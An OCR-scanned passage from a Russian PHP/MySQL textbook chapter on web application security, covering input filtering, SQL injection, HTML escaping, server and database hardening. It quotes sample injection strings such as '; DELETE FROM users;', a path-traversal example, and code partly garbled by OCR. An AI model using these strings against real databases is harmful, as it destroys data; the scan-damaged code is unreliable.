(int)$mmddyy[2] + 2000; // иначе год < 0, и checkdate обнаружит это } if (!checkdate($mmddyy[0], $mmddyy[l], $mmddyy[2])) { echo "ОШИБКА: Указана неверная дата!"; exit; } Потратив время на фильтрацию и проверку входных данных, вы не только обеспе- чите естественную предварительную верификацию (например, что дата вылета вер- на) , но и повысите безопасность системы. Безопасность строк для SQL Еще одна область, где необходима обработка вводимых строк, чтобы сделать их безопасными — это защита от атак внедрением SQL-кода, которые уже упоминались, когда мы только начали рассматривать применение MySQL в РНР. В этих атаках зло- умышленник пытается использовать слабо защищенный код и пользовательские пол- номочия, чтобы выполнить дополнительный SQL-код, который нужен ему, но не нам. И если расслабиться, то можно пропустить пользовательское имя вроде kitty_cat; DELETE FROM users; которое может доставить немало хлопот. Глава 16. Безопасность веб-приложений 359
Для защиты от таких атак существуют два основных способа. Фильтрация и литерализация всех строк, посылаемых на серверы баз данных, с помощью SQL. Для этого применяются функции mysql escape string, mysqli: : real_escape_string или mysqli_real_escape_string. Проверка, что все входные данные имеют ожидаемый вид. Если имена пользова- телей должны иметь длину до 50 символов и содержать только буквы и цифры, то наверняка в конце имени не должна быть строка DELETE FROM users; ”. Наличие PHP-кода для проверки, что входные данные содержат допустимые значения, прежде чем посылать их на сервер баз данных, означает, что можно выводить гораздо более осмысленные сообщения об ошибках, чем это сделает СУБД (во время своей проверки), и снизить риск компрометации. В расширении mysqli имеется дополнительное усиление защиты, которое позволя- ет выполнить единственный запрос с помощью методов mysqli query или mysqli: : query. Для выполнения нескольких запросов следует воспользоваться методами mysqli_multi_query или mysqli: :multi_query, которые предотвращают выполне- ние лишних и потенциально вредоносных операторов или запросов. Литерализация выходных данных Кроме фильтрации входных данных, не менее важно и литерализовать выходные дан- ные. Когда значения, введенные пользователем, находятся в системе, важно, чтобы они не смогли причинить какой-нибудь вред или непреднамеренные действия. Это можно обеспечить с помощью пары функций, которые проверяют, что подобные зна- чения будут выступать в клиентском веб-браузере только как отображаемый текст. Существуют такие приложения, где в принципе можно было бы взять данные, вве- денные пользователем, и вывести их на какой-либо странице. Отличными примерами таких ситуаций могут служить пользовательские комментарии к опубликованной ста- тье или электронные доски объявлений. В таких случаях необходимо следить, чтобы пользователи не смогли вставить во вводимый текст вредоносную HTML-разметку. Один из наиболее легких способов сделать это состоит в применении функции htmlspecialchars или htmlentities. Эти функции преобразуют определенные сим- волы во входной строке в символьные подстановки HTML. Символьные подстановки — это специальные последовательности символов, начинающиеся с символа амперсанда (&) и обозначающие специальные символы, которые трудно вставить в HTML-код не- посредственно. После символа амперсанда находится имя подстановки, а затем точка с запятой (;). Символьная подстановка может иметь и другой вид: десятичный ASCII- код символа С символом # — например, &#47; вместо символа прямого слеша (/). К примеру, все элементы разметки в HTML обозначены символами < и >, и поэтому их трудно ввести в выводимый контент (т.к. браузер по умолчанию считает, что в угло- вых скобках содержатся дескрипторы). Чтобы не путать браузер, можно использовать подстановки &lt; и &gt;. Аналогично, для включения в HTML-код символа амперсан- да предназначена подстановка &атр;. Одиночные и двойные кавычки представляются соответственно как &#39; и &quot;. Символьные подстановки преобразуются HTML- клиентом (т.е. веб-браузером) и поэтому не считаются частью разметки. Отличие между функциями htmlspecialchars или htmlentities состоит в том, что первая из них по умолчанию заменяет только символы &, < й > и, возможно, оди- ночные и двойные кавычки. A htmlentities заменяет все, для чего существуют име- нованные подстановки. Примерами таких символов могут служить .символ авторского 360 Часть III. Электронная коммерция и безопасность
права © (представляется как &сору;) и символ денежной единицы евро (представля- ется как &euro;). Однако эта функция не преобразует символы в их числовые подста- новки. Обе функции принимают второй аргумент, который указывает, преобразовывать ли в подстановки одиночные и двойные кавычки, а также третий аргумент — набор символов, в который следует преобразовать входную строку (это очень важно для нас, поскольку нам нужно работать с кодировкой UTF-8). Возможные значения второго параметра: ENT COMPAT — двойные кавычки заменяются на &quot;, а одиночные остаются без изменения ENT QUOTES — одиночные и двойные кавычки заменяются соответственно на &#39; и &quot; ENT NOQUOTES (по умолчанию) — одиночные и двойные кавычки остаются без изменения Рассмотрим такой текст: $input_str = "<р а!1дп=\"сег^ег\">Пользователь дал нам \"15000€\".</р> <script type=\"text/javascript\"> // Вредоносный JavaScript-код. </script>"; Теперь обработаем его следующим PHP-сценарием (здесь применяется функция п12Ьг, чтобы обеспечить аккуратное форматирование в браузере): <?php $str =-htmlspecialchars($input_str, ENT_NOQUOTES, "UTF-8"); echo n!2br($str); $str = htmlentities($input_str, ENT_QUOTES, "UTF-8"); echo n!2br($str); ??> Тогда мы получим следующий текстовый результат: &lt;p align="center"&gt;Пользователь дал нам "15000€".&lt;/p&gt; &lt;script type="text/javascript"&gt;<br /> // Вредоносный JavaScript-код.<br /> &lt;/script&gt;&lt;p align="center"&gt;Пользователь дал нам "15000&euro;".&lt;/p&gt; &lt;script type="text/javascript"&gt;<br /> // Вредоносный JavaScript-код.<br /> &lt;/script&gt; А в браузере он будет виден так: <р а11дп="сег^ег">Пользователь дал нам "15000€".</р> <script type="text/javascript"> // Вредоносный JavaScript-код. </script><p а11дп="сепЬег">Пользователь дал нам "15000€".</р> <script type="text/javascript"> // Вредоносный JavaScript-код. </script> Глава 16. Безопасность веб-приложений 361
Обратите внимание, что функция htmlentities заменила символ евро (€) соот- ветствующей символьной подстановкой (&euro;), a htmlspecialchars оставила его без изменений. В тех случаях, когда нужно позволить вводить пользователям некоторые элемен- ты HTML — например, на электронной доске объявлений, где хорошо бы управлять шрифтом, его цветом и стилем (полужирный или курсив) — придется выполнять раз- бор строк, чтобы находить в них разрешенные и запрещенные элементы. Организация кода Многие считают, что любой файл, к которым пользователи не обращаются из Интернета, не должен находиться в корневом каталоге веб-сайта. К примеру, если корневой каталог сайта доски объявлений имеет путь /home/httpd/messageboard/ www, то включаемые файлы и все другие файлы следует поместить в какое-то другое место — например, /home/httpd/messageboard/code. Тогда если нужно указать в коде включение таких файлов, можно написать: • require_once('../code/user_object.php'); Причина такой предосторожности состоит в том, что пользователь-злоумышлен- ник может запросить файл, который не относится к .php- или .html-файлам. Многие веб-серверы по умолчанию просто выводят содержимое такого файла в выходной по- ток. И если запросить сценарий user object .php, который находится где-то в ката- логе общедоступных документов, то пользователь увидит все содержимое этого сцена- рия. Имея полный код реализации, пользователь получает в свое распоряжение вашу интеллектуальную собственность, а также может проанализировать сценарий и найти возможные бреши в безопасности, которые вы упустили из виду. Чтобы такого не случилось, нужно сконфигурировать веб-сервер так, чтобы он раз- решал запросы только . php и . html-файлов, а запросы других файлов должны возвра- щать ошибку сервера. По этой же причине не следует хранить в каталоге общедоступных документов и любые другие файлы: файлы паролей, текстовые файлы, конфигурационные файлы или специальные каталоги. Даже если мы уверены в правильной настройке нашего веб-сервера, мы могли что-то упустить. А в будущем наше веб-приложение может пе- реместиться на другой сервер, конфигурация которого может оказаться не столь безу- пречной, и мы окажемся открытыми для проникновения. Если в файле php. ini включен параметр allow url fopen, то теоретически мы можем включать или затребовать файлы с удаленных серверов. Это может оказаться еще одним нарушением безопасности в нашем приложении, поэтому лучше отказать- ся от включения файлов с удаленных компьютеров — особенно с недоступных нашему контролю. Аналогично не стоит решать, какие файлы включать или затребовать, на основе введенных пользователем данных, поскольку неверные данные могут также по- родить проблемы. Содержимое кода Многие приведенные нами фрагменты кода для доступа к базам данных содержали имя базы, имя пользователя и пароль в виде обычного текста, вроде $conn = @new mysqli("localhost", "bob", "secret", "somedb"); 362 Часть III. Электронная коммерция и безопасность
Конечно, так удобнее, но от этого страдает безопасность, т.к. если . php-файл по- падет в руки взломщиков, они тут же получат доступ к базе данных со всеми правами, которые есть у пользователя bob. Лучше все-таки поместить имя и пароль пользователя в файл, который находится за пределами каталога документов веб-приложения, и включить этот файл в сценарий: <?php // Это файл dbconnect.php $db_server = ’localhost’; $db_user_name = ’bob’; $db_password = ’secret’; $db_name = ’somedb’; ?> <?php include(’../code/dbconnect.php’); $conn = @new mysqli($db_server, $db_user_name, $db_password, $db_name); // И Т.Д. ?> Эти рассуждения справедливы для любых секретных данных, которым не повре- дит еще один уровень защиты. Файловая система РНР был разработан с учетом работы в локальной файловой системе. В связи с этим необходимо рассмотреть два вопроса. Будут-ли какие-то файлы, которые мы записываем на диск, видимыми еще кому-то? Если да, то будут ли другие пользователи иметь доступ к файлам, к которым не следует — например, к /etc/passwd? Нужно либо не записывать информацию в файлы с широкими правами доступа, либо не помещать эти файлы в такие места, к которым могут иметь доступ другие пользователи многопользовательской операционной системы наподобие разновидно- стей Unix. Кроме того, необходимо быть особенно осторожным при разрешении пользо- вателям самим вводить имя нужного им файла. Если в нашем корневом каталоге до- кументов (c:\Program Files\Apache Software Foundation\Apache2.2.htdocs\) имеется каталог с набором файлов, доступ к которым хотелось бы разрешить пользо- вателям, то мы можем нарваться на неприятности, если кто-то захочет увидеть файл ..\\.\php\php.ini. Это позволит злоумышленнику увидеть детали нашей инсталляции РНР и узнать о наличии очевидных брешей в безопасности, которыми можно воспользоваться. Устранить эту проблему также несложно: если пользователям разрешен ввод имен файлов, необходима агрессивная фильтрация. Для предыдущего примера достаточ- но удалить все вхождения строки . . \, а также запретить абсолютные пути вроде с: \mysql\my.ini. Устойчивость кода и ошибки Мы уже говорили об этом: не стоит ожидать от веб-приложения ни хорошей произ- водительности, ни безопасности, если его код не был тщательно протестирован и про- Глава 16. Безопасность веб-приложений 363
смотрен, или же он настолько сложен, что просто непонятен. Это не обвинение, а про- сто констатация факта, что все программисты могут ошибаться при написании кода. Когда пользователь заходит на веб-сайт, вводит в поле поиска слово (например, “вы- швыривание”) и щелкает на кнопке “Поиск”, вряд ли у него останется хорошее мнение об устойчивости или безопасности, если сразу после этого он увидит сообщение: |Ой-ой-ой! Это не должно было произойти. ОШИБКА ОШИБКА ОШИБКА ! ! ! ! Если с самого начала планировать устойчивость работы приложения, можно су- щественно снизить вероятность возникновения проблем из-за человеческих ошибок. Возможны следующие меры. Проведите полный этап проектирования продукта, возможно, с созданием про- тотипов. Чем больше народа просмотрит план ваших действий, тем больше ве- роятность, что будут обнаружены проблемы еще до их возникновения. На этом этапе удобно также проверить удобство использования интерфейса. Выделите специальных людей для тестирования проекта. Во многих проектах это просто не выполняется, или же для поверки работы 50 разработчиков на- нимается один тестер. Разработчики обычно не бывают хорошими тестерами! Они пишут замечательный код, которые отлично работает с верными входными дан- ными, но в других областях они не так сильны. В крупных компаниях по разра- ботке ПО отношение количества разработчиков к тестерам составляет пример- но 1:1. Да, ваш шеф может не согласиться на такое количество, но для успеха приложения необходимо как можно большее количество тестеров. Заставьте своих разработчиков использовать какую-то методологию тестирова- ния. Возможно, при этом не будут обнаружены все ошибки, которые нашел бы тестер, но это наверняка защитит продукт от регрессии — явления, когда пробле- ма или ошибка исправлена, но потом снова внесена при выполнении измене- ний в коде. Нельзя разрешать разработчикам вносить изменения в проект без последующего повторного тестирования. Наблюдайте за работой приложения после его развертывания. Регулярный просмотр журналов и комментариев пользователей или клиентов позволит обнаружить просочившиеся серьезные проблемы или возможные дыры в безо- пасности. А при обнаружении вы сможете устранить их еще до того, как они приведут к катастрофическим последствиям. Кавычки выполнения и вызов ехес Мы уже упоминали ранее о средстве выполнения команд оболочки или кавычках выпол- нения. Это оператор языка, который позволяет выполнять произвольные команды в командой оболочке (вроде sh в Unix-подобных операционных системах или cmd.exe в Windows), заключая их в обратные кавычки ( '). Обратите внимание, что это не обычные прямые кавычки (’). Соответствующая клавиша обычно находится в левом верхнем углу англоязычной клавиатуры, а на других клавиатурах ее бывает нелегко найти. Кавычки выполнения возвращают строку с текстовым результатом выполнения команды. Допустим, имеется текстовый файл со списком имен и номеров телефонов. Тогда с помощью команды grep можно найти в этом файле список имен, содержащих строку “Smith”, grep — это команда в Unix-подобных операционных системах, которая при- 364 Часть III. Электронная коммерция и безопасность
нимает строковый образец и список файлов, в которых нужно найти этот образец. Она возвращает строки, содержащие указанный образец. grep [аргументы] образец файлы_для__поиска. . . В Windows также имеется аналог команды grep — это программа findstr.exe. Чтобы найти людей’с фамилией “Smith”, нужно выполнить следующий сценарий: <?php // -i означает не учитывать регистр букв $users = 'grep -i smith /home/httpd/www/phonenums.txt'; // разбиение выходных строк в массив // в Windows должно быть не \п, а \r\nl $lines = split($users, ”\n”); foreach ($lines as $line) { // имена и номера телефонов разделены запятыми $namenum = split($lines, ’, ’) ; echo ’’Имя: {$namenum[0] }, телефон: {$namenum[1] }<br/>\n"; } ?> Если в командах, выполняемых в обратных кавычках, разрешить появление ин- формации, которая вводится пользователем, то вы будете открыты для всевозможных проблем безопасности, либо вам придется тщательно фильтровать входные данные, чтобы гарантировать защиту системы. В крайнем случае можно воспользоваться функ- цией е scape she llcmd. Но все же лучше ограничить возможные входные значения. Более того, обычно требуется, чтобы веб-сервер и РНР работали в контексте с ограниченными полномочиями (подробнее об этом будет сказано в последующих разделах). Но для выполнения некоторых таких команд нам понадобится повысить полномочия, что еще более ослабит защиту системы. Применение этого оператора в производственной среде следует допускать лишь с большой осторожностью. Вызов ехес и системные функции очень похожи на кавычки выполнения, но они выполняют команду самостоятельно, а не в среде оболочки, и не всегда возвращают настолько же полный результат. Для них характерны почти все те же проблемы безо- пасности и, следовательно, применимы те же предупреждения. Защита веб-браузера и РНР Не менее безопасности кода важна и безопасность инсталляции и конфигурации веб-сервера с РНР. Большая часть программного обеспечения, которое установлено на нашем компьютере и серверах, поставляется с конфигурационными файлами и стандартными настройками, которые предназначены для демонстрации мощности и полезности этих программ. Предполагается, что мы отключим те участки, которые не необходимы и/или снижают безопасность. К сожалению, многие не думают об этом или не уделяют этому должного внимания. В качестве части нашего “целостного” подхода к безопасности мы хотим, чтобы веб-серверы и РНР были настроены так, как следует. Мы не сможем во всем объеме показать, как защитить каждый веб-сервер или расширение РНР, которые могут пона- добиться именно вам, но, по крайней мере, мы очертим некоторые основные направ- ления исследований и дадим некоторые основные советы и предположения. Глава 16. Безопасность веб-приложений 365
Следите за обновлениями ПО Это один из самых простых способов защиты системы. Необходимо следить, что у вас работает самая свежая и безопасная версия ПО. Для РНР, Apache HTTP Server и Microsoft Internet Information Server (IIS) это означает, что нужно достаточно регулярно заходить на соответствующий веб-сайт (http: // www. php. net, http: I /httpd. apache. org или http://www.microsoft.com/iis) и просматривать советы по безопасности, следить за появлением новых выпусков и просматривать список новых возможностей, среди которых могут оказаться и необходимые исправления. Установка новой версии Инсталляция и настройка некоторых из этих программ могут потребовать значи- тельного времени на выполнение существенного количества шагов. Особенно это ка- сается Unix, где инсталляция выполняется из исходных кодов, и может понадобить- ся вначале установить дополнительные программы, а затем не запутаться в большом количестве ключей командной строки, чтобы включить все нужные и выключить все Ненужные модули и расширения. Это важно: напишите себе небольшой “сценарий” инсталляции, т.е. действия, ко- торые нужно выполнить для установки новой версии ПО. Так вы точно не забудете чего-нибудь важного, что может негативно сказаться в последующем. Количество ша- гов обычно настолько велико, что вряд ли наш мозг запомнит все необходимые нюан- сы, которые нужно учитывать при каждой инсталляции. Развертывание новой версии Первая инсталляция никогда не должна выполняться на производственном сер- вере. Необходимо сначала опробовать все детали на тестовом сервере, на который следует устанавливать новые программы и веб-приложения и проверять их работо- способность. Это особенно верно для таких языковых интерпретаторов, как РНР, где отдельные стандартные параметры меняются от версии к версии; поэтому абсолютно необходимо выполнить последовательность проверок, чтобы проверить, что новая версия не имёет нежелательных эффектов относительно вашего приложения. Нет необходимости тратить тысячи долларов на новый компьютер, чтобы опробо- вать установку и настройку ПО. Есть много программ, которые позволяют поработать в другой операционной системе, не выходя из вашей — например, VMware компании VMware или VirtualPC компании Microsoft. И только после проверки, что новая версия ПО отлично работает с вашим веб-при- ложением, ее можно развертывать на производственных серверах. Здесь нужно, что- бы этот процесс был либо полностью автоматизирован, либо, опять-таки, записан на бумаге (или в файле), чтобы выполнить в точности ту же самую последовательность шагов и получить такую же серверную среду. На работающем сервере потребуется вы- полнить ряд завершающих тестов, чтобы удостовериться, что все действительно ра- ботает так, как надо (рис. 16.2). Просмотр файла php. ini Если вы еще не удосужились пролистать файл php. ini, то сейчас самое время за- грузить его в текстовый редактор и просмотреть содержимое. Для большинства эле- ментов данного файла приведены понятные комментарии с описанием применения этих элементов. 366 Часть III. Электронная коммерция и безопасность
Компиляция - 1. Создать сервер 2. Создать РНР 3. Настроит^ конфигурационные файлы 4. Настроить документы Тестирование > 1. Проверить работоспособность 2. Выполнить тестовые утилиты 3. Выполнить тестирование модулей 4. Выполнить стрессовое тестирование Развертывание 1. Скопировать на сервер 2. Проверить работоспособность 3. Выполнить тестирование модулей 4. Выполнить стрессовое тестирование 5. Выполнить специальные проверки Рис. 16.2. Процесс обновления программного обеспечения сервера Кроме того, они собраны в группы по областям применения и именам расшире- ний: имена всех настроечных параметров mbstring начинаются с mbstring, а имена параметров, относящихся к сеансам (см. главу 23), имеют префикс session. В файле присутствует большое количество настроечных параметров для модулей, которые нам никогда не придется использовать, и если эти модули отключены, то не стоит и думать об этих параметрах — они будут просто игнорироваться. Но для тех модулей, которые будут использоваться, необходимо прочитать в онлайновом руко- водстве по РНР (http: //www.php.net/manual) о параметрах этих расширений и их возможных значениях. Здесь также настоятельно рекомендуется либо регулярно создавать резервные ко- пии файла php .ini, либо записывать все выполненные изменения, чтобы при инстал- ляции новых версий в нем присутствовали все нужные значения. С этими ^параметрами связан один нюанс: если вам придется использовать старое ПО, написанное на РНР, то оно может затребовать включения параметров register_ globals и/или register long arrays. В этом случае вам предстоит решить, стоит ли пользоваться этим ПО и подвергать систему риску безопасности. Этот риск можно минимизировать, если почаще интересоваться наличием исправлений безопасности и других обновлений для такого ПО. Настройка веб-сервера После того как мы разберемся с настройкой языкового интерпретатора РНР, мож- но переходить к веб-серверу. У каждого сервера свой процесс настройки безопас- ности, и мы рассмотрим такие процессы для двух наиболее популярных серверов: Apache HTTP Server и Microsoft IIS. Apache HTTP Server Сервер httpd поставляется с довольно разумными значениями по умолчанию, но есть некоторые моменты, которые лучше перепроверить, прежде чем запустить сер- вер в производственной среде. Все конфигурационные параметры находятся в одном файле по имени httpd. conf, который обычно расположен в подкаталоге /conf базо- вой инсталляции httpd (т.е. /usr/local/apache/conf или C:\Program Files\Apache Software Foundation\Apache2.2\conf). Обязательно прочтите разделы, касающие- ся безопасности, в онлайновой документации на сервер (http: //httpd. apache. org/ docs-project). Глава 16. Безопасность веб-приложений 367
Кроме того, необходимо выполнить описанные ниже действия. Проверьте, что httpd выполняется от имени пользователя без полномочий су- перпользователя (вроде nobody или httpd в Unix). Этим управляют параметры User и Group в файле httpd.conf. Проверьте, что правильно заданы права доступа для каталога инсталляции Apache. В Unix у всех каталогов, кроме корневого каталога документов (по умолчанию это подкаталог /htdocs), должны быть указаны владелец root и права доступа 755. Проверьте, что сервер настроен на обработку верного количества подключе- ний. Для пользователей httpd версий 1.3.x в параметре MaxClients следует ука- зать разумное количество одновременно обрабатываемых клиентов. Обычно годится стандартное значение 150, но если ожидается серьезная нагрузка, то это количество можно увеличить. В Apache версий 2.x поддерживается много- поточность, поэтому необходимо проверить значение ThreadsPerChild (впол- не годится стандартное значение 50). Скройте файлы, которые не предназначены для посторонних глаз, с помощью со- ответствующих директив в файле httpd. conf. Например, для исключения из поля видимости файлов с расширением .inc, нужно добавить следующие строки: <Files ~ ”\.inc$"> Order allow, deny Deny from all </Files> Конечно, как уже было сказано, лучше сразу вынести такие файлы йз корневого каталога документов для указанного веб-сайта. Microsoft IIS Для настройки IIS не нужно редактировать файлы с параметрами, как для Apache HTTP Server, но для защиты инсталляции IIS все-таки нужно предпринять ряд действий. Старайтесь не размещать веб-сайты на том же логическом диске, что и опера- ционная система. Используйте файловую систему NTFS и удалите разрешения на запись там, где они не нужны. Удалите все файлы, которые устанавливает по умолчанию IIS в корневой ката- лог документов. Скорее всего, большинство этих файлов (если не все) не по- надобятся. Большой объем информации содержится в каталоге \inetpub, ко- торый вам не нужен, если вы не используете онлайновые средства настройки (а вы не должны ими пользоваться — вместо них лучше применяйте утилиту iisadmin). Старайтесь не использовать общепринятые имена. Существует много автомати- зированных средств, которые пытаются найти сценарии и программы в распро- страненных подкаталогах корневого каталога документов: \Scripts, \cgi-bin, \bin и т.д. Здесь также настоятельно рекомендуется прочесть документацию по IIS, чтобы ближе познакомиться с рекомендованными процедурами обеспечения безопасности. 368 Часть III. Электронная коммерция и безопасность
Веб-приложения на коммерческих хостах Существует группа пользователей, для которых проблема безопасности на вирту- альных серверах несколько более серьезна — это пользователи, веб-приложения кото- рых выполняются на коммерческих службах хостинга РНР/MySQL. На этих серверах доступ к php. ini обычно невозможен, т.е. невозможно установить все параметры так, как нужно именно вам. В отдельных случаях некоторые службы даже не разрешают создавать каталоги вне корневого каталога документов, лишая вас надежного места для размещения включаемых файлов. К счастью, большинство таких компаний не хотят терять прибыль, а небезопасная структура вряд ли привлечет дополнительных пользователей. Для полной уверенности вы можете и должны выполнить ряд действий, прежде чем связаться с хостинговой компанией и развернуть у них свое приложение. Еще до выбора службы просмотрите их описание поддержки. Чем лучше служ- ба, тем обычно более полна онлайновая документация (нам встречались даже несколько экземпляров с отличными динамическими учебниками), в которой точно описано, как сконфигурировано ваше личное пространство. Вы можете уяснить, какие ограничения и поддержка будут доступны при просмотре стра- ниц на их хостах. Ищите хостинговые службы, которые предоставляют целые деревья катало- гов, а не просто корневой каталог документов. Правда, некоторые заявляют, что корневой каталог вашего личного пространства и есть корневой каталог документов, но другие предоставляют целую иерархию каталогов, с каталогом /public html, в котором вы можете разместить свой контент и исполняемые PHP-сценарии. Здесь вы сможете спокойно создать каталог /includes, и посто- ронние не смогут увидеть содержимое ваших . inc-файлов. Попытайтесь узнать, какие параметры прописаны в php.ini. Конечно, многие службы не выведут содержимое этого файла на веб-странице и не отправят вам его по электронной почте, но можно спросить персонал поддержки, включен ли у них защищенный режим, и какие функции и классы отключены. Кроме того, значения параметров можно узнать с помощью функции iniget. Сайты, где не используется защищенный режим и не отключена ни одна функция, должны насторожить вас. Узнайте версии различных программ, которые работают на сайте. Являются ли они самыми свежими? Если у вас ничего не получится с помощью функции phpinfo, воспользуйтесь службой наподобие Netcraft (http://www.netcraft.com), кото- рая сообщает, какое ПО работает на конкретном сайте. Обязательно проверьте, работает ли у них РНР5! Попробуйте найти службы, где возможен пробный период, гарантируется воз- врат денег или имеется какой-либо другой способ предварительно оценить, как будет работать ваше веб-приложение, прежде чем разместить его на более дли- тельный период. Защита сервера баз данных Кроме поддержки всего применяемого ПО в самом свежем состоянии, можно кое- что сделать и для того, чтобы защитить базы данных. Еще раз повторяем, что полное Глава 16. Безопасность веб-приложений 369
рассмотрение вопросов безопасности потребует отдельной книги для каждого серве- ра баз данных, для которого мы могли бы написать свое веб-приложение. Так что мы приведем здесь лишь некоторые общие рекомендации, которые применимы в боль- шинстве случаев. Пользователи и права доступа Разберитесь в системе аутентификации и прав доступа для того сервера баз дан- ных, который вы решили использовать. На удивление большое количество атак на базы данных удалось просто потому, что их хозяева не удосужились позаботиться о защите своих систем. Все учетные записи должны иметь пароли. Самое первое, что следует сделать на любом сервере баз данных — проверить, что у суперпользователя СУБД {root) имеется пароль. Эти пароли не должны содержать слов, имеющихся в словаре. Даже пароли наподобие “44кискаА” не так безопасны, как пароли вроде “FI93!!xl2@”. Если вас вол- нует вопрос, как же запомнить такой пароль, то попробуйте использовать первые бу- квы из какого-либо предложения с регулярным чередованием строчных и прописных букв — например, пароль “нТгПуВрМ” получен из предложения “Наша Таня громко плачет: уронила в речку мячик”. Многие СУБД (в том числе и старые версии MySQL) устанавливаются с аноним- ным пользователем, полномочия которого, возможно, больше, чем вам нужно. Когда будете рассматривать и осваивать систему прав доступа, обязательно проверьте, что все стандартные учетные записи делают именно то, что вам надо, и удалите те, кото- рые ведут себя не так. Обеспечьте, чтобы доступ к таблицам прав доступа и административным базам данных имелся только у учетной записи суперпользователя. Права доступа других учетных записей должны обеспечивать доступ лишь к тем базам и таблицам, для кото- рых они предназначены. Для проверки выполните следующие действия и посмотрите, возникнут ли ошибки. Подключитесь без указания пользовательского имени и пароля. Подключитесь как root без указания пароля. Введите для учетной записи root неверный пароль. Подключитесь как обычный пользователь и попробуйте обратиться к таблице, к которой этот пользователь не должен иметь права доступа. Подключитесь как обычный пользователь и попробуйте обратиться к систем- ным базам или таблицам прав доступа. Пока вы не выполните все эти проверки, вы не можете быть уверены, что систе- ма аутентификации вашей системы надежно защищена. Отправка данных на сервер Как мы неоднократно повторяли (и еще будем повторять) — никогда не посылай- те на сервер нефильтрованные данные. Простейший уровень защиты обеспечивает использование различных функций литерализации строк, предоставляемых расшире- г ниями СУБД (наподобие mysqli_real_escape_string или mssql_escape_string). Но, как мы не раз видели, не нужно полагаться только на эти функции и выполнять проверку типов для каждого поля из формы ввода. Например, для поля имени пользо- 370 Часть III. Электронная коммерция и безопасность
вателя необходимо проверить, что оно не содержит килобайты данных или символы, которые нежелательны в таких именах. Подобная проверка в коде может обеспечить пользователей более подробными сообщениями об ошибках и исключить некоторые факторы риска для безопасности баз данных. Аналогично, нужно проверять коррект- ность числовых значений и даты/времени, прежде чем передавать их на сервер. И, наконец, на тех серверах, где это возможно, можно использовать подготовлен- ные операторы, которые выполнят за нас основную работу по литерализации и обес- печат наличие кавычек везде, где они нужны. Здесь также возможны проверки, выполнение которых придаст нам уверенность, что наша база верно обрабатывает данные. Попробуйте ввести в полях формы значения вроде '; DELETE FROM HarmlessTable'. Попробуйте ввести в полях, где требуются числа или даты, какую-нибудь абра- кадабру наподобие ’ 55#$888АВС ’ — должно появиться сообщение об ошибке. Попробуйте ввести данные, выходящие за указанные вами пределы — должно появиться сообщение об ошибке. Подключение к серверу Имеется несколько способов защиты серверов баз данных с помощью управления подключениями к ним. Один из самых простых — ограничение по месту, откуда разре- шено подключение. Многие системы прав доступа, применяемые в различных СУБД, позволяют указать для пользователя не только его имя и пароль, но и компьютеры, с которых ему позволено подключаться. Если сервер баз данных, веб-сервер и интер- претатор РНР находятся на одной машине, то, естественно, имеет смысл разрешить только подключения с localhost или IP-адреса данной машины. Если веб-сервер все- гда находится на одном и том же компьютере, то вполне нормально будет разрешить пользователям подключаться к базе данных только с этого компьютера. Многие серверы баз данных имеют возможность шифрованных подключений к ним (обычно с использованием протокола SSL). Если вам нужно подключиться к сер- веру баз данных через открытый Интернет, обязательно используйте шифрованное подключение, если оно доступно. Если же не доступно, попробуйте воспользоваться туннелированием — отличная идея, когда две машины соединяются защищенным под- ключением, и TCP/IP-порты (например, порт 80 для HTTP или 25 для SMTP) мар- шрутизируются по этому защищенному подключению к другому компьютеру, который видит весь трафик как локальный. И, наконец, следует обеспечить, что количество подключений, которые может одновременно обрабатывать сервер баз данных (оно указывается в настройках), не меньше количества подключений, которые могут запросить веб-сервер и РНР. Мы уже упоминали, что Apache HTTP Server серии 1.3.x по умолчанию может запускать до 150 серверов. Если в файле my.ini для MySQL указано стандартное количество подключе- ний 100, то налицо несоответствие конфигураций. В этом случае нужно внести в файл my. ini следующее изменение: max_connections=151 Здесь выделено дополнительное подключение, т.к. MySQL всегда резервирует одно подключение для пользователя root. Это делается для того, чтобы даже при полной загрузке сервера суперпользователь мог войти в систему и выполнить необходимые действия. Глава 16. Безопасность веб-приложений 871
Работа сервера Можно также предпринять ряд мер по защите работающего сервера баз данных. Самое главное — его никогда не следует запускать от имени суперпользователя (root в Unix или администратор в Windows). Если такой сервер удастся скомпрометировать, то под угрозой окажется вся система. Вообще-то MySQL и не запускается от имени супер- пользователя, если его специально не заставить (что, конечно, не рекомендуется). После установки программного обеспечения СУБД необходимо изменить владель- цев и права доступа для каталогов и файлов базы данных, чтобы укрыть их от посто- ронних глаз. Удостоверьтесь, что это сделано, и что владелец файлов базы данных не является суперпользователем (тогда процесс сервера баз данных, который также запущен не от имени суперпользователя, не сможет записать данные даже в файлы своей базы). И, наконец, при работе с системой прав доступа и аутентификации создавайте пользователей с абсолютно необходимым минимумом прав. Не создавайте пользова- телей с широкими возможностями потому, что “однажды они могут понадобиться”. Лучше добавляйте права, когда (и если) они реально понадобятся. Защита сети Имеется несколько способов защиты сети, в которой находится веб-приложение. Точные детали выходят за рамки данной книги, но нетрудно разобраться в этом само- стоятельно и защитить не только свои веб-приложения. Установите брандмауэры Аналогично фильтрам входных данных, которые поступают в веб-приложение, на- писанное на РНР, необходимо фильтровать весь трафик, поступающий в сеть — неза- висимо от того, поступает ли он в офисы своей корпорации или в информационный центр, в котором находятся наши серверы и приложения. Это можно сделать с помощью брандмауэра, который может быть как программой, работающей под известной операционной системой наподобие FreeBSD, Linux или Microsoft Windows, так и специальным устройством, закупленным у поставщика сете- вого оборудования. Брандмауэр отфильтровывает весь нежелательный трафик и бло- кирует доступ к тем частям сети, которые нужно защитить. Протокол TCP/IP, лежащий в основе Интернета, работает с портами. Различные порты назначены различным видам трафика (например, для HTTP выделен порт 80). Большое количество портов используется только для внутрисетевого трафика и прак- тически не нужно для взаимодействия с внешним миром. Запретив трафик, который входит в сеть или выходит из нее через эти порты, мы снизим риск компрометации наших компьютеров и/или серверов (а, следовательно, и наших веб-приложений). Используйте DMZ Как уже было сказано выше в данной главе, серверы и веб-приложения подверга- ются риску быть атакованными не только внешними пользователями, но и внутрен- ними злоумышленниками. Последняя категория не так многочисленна, но она может принести больше вреда, поскольку хорошо знакома с деталями работы компании. 372 Часть III. Электронная коммерция и безопасность
